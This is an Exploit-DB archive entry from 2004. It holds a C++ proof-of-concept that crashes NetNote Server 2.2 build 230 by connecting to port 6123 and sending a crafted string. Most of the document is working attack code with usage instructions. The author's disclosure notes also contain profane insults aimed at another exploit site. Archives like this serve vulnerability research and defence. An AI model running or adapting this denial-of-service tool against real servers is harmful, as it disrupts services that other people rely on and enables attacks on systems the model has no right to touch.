Exploit-DB #628
Description: NetNote Server 2.2 build 230 - Crafted String Denial of Service
Type: dos
Platform: windows
Date: 2004-11-13
Author: class101

Exploit:
/*



NetNote Server v2.2 build 230, crafted string vulnerability.
Poc included crash the server.

Full disclosure and poc exploit 
by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
13 november 2004

------------------
WHAT IS NETNOTE
------------------

Homepage - http://www.alshare.com/
	
	NetNote is the most complete free electronic note software.
	NetNote has been created to improve your productivity by integrating several
	unique features with an easy-to-use and nice-looking interface.
	Also called sticky-note utility, this Windows freeware targets SOHO 
	and medium size businesses as well as the Health community.
	It has network capabilities (send and receive notes, Instant Messaging),
	text notes, audio attachments, alarms and models (templates). 
	It also supports the latest Windows XP features as transparency and XP themes.
	The 5.0 version contains several features asked by the Health community 
	(veterinarians, physicians and dentists). 
	For example, NetNote is now integrated with AVImark, the leading veterinarian software.


--------------
VULNERABILITY
--------------

	A special string submitted to the server will cause an access violation... 

----
FIX
----

	Actually none, the vendor is contacted.

----
EXTRA
----
   
	Tested on Win2k Server SP4 and WinXP Pro SP1.
	This shouldn't be more exploitable, else code something 
	to show me that Im wrong :->

----
BY
----

    class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
						 who
					   F.U.C.K
    K-OTik.com displaying the half part of codes they receive
	(also some other friends to me noticed it..., another ie: 
	JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)

				  milw0rm.com rules!
*/

#include "winsock2.h"
#include "fstream.h"

#pragma comment(lib, "ws2_32")


static char payload[100];

char crash[]="\x90\x90\x90\x90\x20\x20\x20\x20";

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
{
	ver();
	if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>1)){usage(argv[0]);return -1;}
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
	int ip=htonl(inet_addr(argv[2])), port;
	if (argc==4){port=atoi(argv[3]);}
	else port=6123;
	SOCKET s;
	struct fd_set mask;
	struct timeval timeout; 
	struct sockaddr_in server;
	s=socket(AF_INET,SOCK_STREAM,0);
	if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
	server.sin_family=AF_INET;
	server.sin_addr.s_addr=htonl(ip);
	server.sin_port=htons(port);
	WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
	timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
	switch(select(s+1,NULL,&mask,NULL,&timeout))
	{
		case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
		case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
		default:
		if(FD_ISSET(s,&mask))
		{
			cout<<"[+] connected, sending the bad string..."<<endl;
			Sleep(1000);
			if (atoi(argv[1]) == 1){strcat(payload,crash);}
			strcat(payload,"\r\n");
			Sleep(1000);
		    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
			Sleep(1000);
			if (atoi(argv[1]) == 1){cout<<"[+] payload send, the NetNote server should be crashed."<<endl;}
			return 0;
		}
	}
	closesocket(s);
	WSACleanup();
	return 0;
}


void usage(char* us) 
{  
	cout<<"USAGE: 101_netn.exe Method Ip Port\n"<<endl;
	cout<<"TARGETS:                               "<<endl;
	cout<<"      [+] 1. Crash NetNote Server  (*)"<<endl;
	cout<<"NOTE:                               "<<endl;
	cout<<"      The port 6123 is default if no port are specified"<<endl;
	cout<<"      The exploit crash the server."<<endl;
	cout<<"      A wildcard (*) mean Tested."<<endl;
	return;
} 

void ver()
{	
cout<<endl;
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]===="<<endl;
cout<<"        ===NetNote Server v2.2, Free Electronic Notes for Windows===="<<endl; 
cout<<"        ========Remote Crafted String Vulnerability=================="<<endl;
cout<<"        ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
cout<<"        ============================================================="<<endl;
cout<<"                                                                   "<<endl;
}


// milw0rm.com [2004-11-13]